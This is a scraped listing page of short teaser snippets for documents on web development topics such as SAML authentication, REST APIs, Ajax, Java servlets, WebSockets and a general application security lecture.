More information

Advanced Configuration for SAML Authentication

Advanced Configuration for SAML Authentication The advanced configuration for SAML authentication includes: Configuring Multiple Identity Providers Multiple Identity Providers can be configured to a SAML authentication service on the Barracuda Web

More information

Ajax HTML5 Cookies. Sessions 1A and 1B

Ajax HTML5 Cookies. Sessions 1A and 1B Ajax HTML5 Cookies Sessions 1A and 1B JavaScript Popular scripting language: Dynamic and loosely typed variables. Functions are now first-class citizens. Supports OOP. var simple = 2; simple = "I'm text

More information

Controller/server communication

Controller/server communication Controller/server communication Mendel Rosenblum Controller's role in Model, View, Controller Controller's job to fetch model for the view May have other server communication needs as well (e.g. authentication

More information

COURSE DETAILS: CORE AND ADVANCE JAVA Core Java

COURSE DETAILS: CORE AND ADVANCE JAVA Core Java COURSE DETAILS: CORE AND ADVANCE JAVA Core Java 1. Object Oriented Concept Object Oriented Programming & its Concepts Classes and Objects Aggregation and Composition Static and Dynamic Binding Abstract

More information

Managing REST API. The REST API. This chapter contains the following sections:

Managing REST API. The REST API. This chapter contains the following sections: This chapter contains the following sections: The REST API, page 1 Identifying Entities, page 2 Configuring a POJO Class for REST API Support, page 2 Input Controllers, page 2 Implementing a Workflow Task,

More information

Using SailFin and Eclipse to build SIP-based and RESTful applications

Using SailFin and Eclipse to build SIP-based and RESTful applications Using SailFin and Eclipse to build SIP-based and RESTful applications Presented by: Fatna Belqasmi, PhD, Researcher associate at Concordia University Agenda Download and installation Configuration Create

More information

SERVICE TECHNOLOGIES

SERVICE TECHNOLOGIES SERVICE TECHNOLOGIES Exercises 3 16/04/2014 Valerio Panzica La Manna valerio.panzicalamanna@polimi.it http://servicetechnologies.wordpress.com/exercises/ REST: Theory Recap REpresentational State Transfer

More information

How to Configure Authentication and Access Control (AAA)

How to Configure Authentication and Access Control (AAA) How to Configure Authentication and Access Control (AAA) Overview The Barracuda Web Application Firewall provides features to implement user authentication and access control. You can create a virtual

More information

REST AND AJAX. Introduction. Module 13

REST AND AJAX. Introduction. Module 13 Module 13 REST AND AJAX Introduction > Until now we have been building quite a classic web application: we send a request to the server, the server processes the request, and we render the result and show

More information

REST. Lecture BigData Analytics. Julian M. Kunkel. University of Hamburg / German Climate Computing Center (DKRZ)

REST. Lecture BigData Analytics. Julian M. Kunkel. University of Hamburg / German Climate Computing Center (DKRZ) REST Lecture BigData Analytics Julian M. Kunkel julian.kunkel@googlemail.com University of Hamburg / German Climate Computing Center (DKRZ) 11-12-2015 Outline 1 REST APIs 2 Julian M. Kunkel Lecture BigData

More information

CSC Web Technologies, Spring Web Data Exchange Formats

CSC Web Technologies, Spring Web Data Exchange Formats CSC 342 - Web Technologies, Spring 2017 Web Data Exchange Formats Web Data Exchange Data exchange is the process of transforming structured data from one format to another to facilitate data sharing between

More information

Application Security through a Hacker s Eyes James Walden Northern Kentucky University

Application Security through a Hacker s Eyes James Walden Northern Kentucky University Application Security through a Hacker s Eyes James Walden Northern Kentucky University waldenj@nku.edu Why Do Hackers Target Web Apps? Attack Surface A system s attack surface consists of all of the ways

More information

Servlets by Example. Joe Howse 7 June 2011

Servlets by Example. Joe Howse 7 June 2011 Servlets by Example Joe Howse 7 June 2011 What is a servlet? A servlet is a Java application that receives HTTP requests as input and generates HTTP responses as output. As the name implies, it runs on

More information

Domain Name Service. API Reference. Issue 05 Date

Domain Name Service. API Reference. Issue 05 Date Issue 05 Date 2018-08-30 Contents Contents 1 API Invoking Method...1 1.1 Service Usage... 1 1.2 Request Methods... 1 1.3 Request Authentication Methods...2 1.4 Token Authentication...2 1.5 AK/SK Authentication...

More information

ObjectRiver. Metadata Compilers. WebSockets. JavaOne 2014 Steven Lemmo

ObjectRiver. Metadata Compilers. WebSockets. JavaOne 2014 Steven Lemmo ObjectRiver Metadata Compilers Programmatic WebSockets JavaOne 2014 Steven Lemmo 1 Sockets for the Web Finally! Before the Web ( Internal applications behind the firewall. Sockets RPC ( Sun ONC/RPC ) DCE

More information

What is Groovy? Almost as cool as me!

What is Groovy? Almost as cool as me! What is Groovy? Groovy is like a super version of Java. It can leverage Java's enterprise capabilities but also has cool productivity features like closures, builders and dynamic typing. From http://groovy.codehaus.org/

More information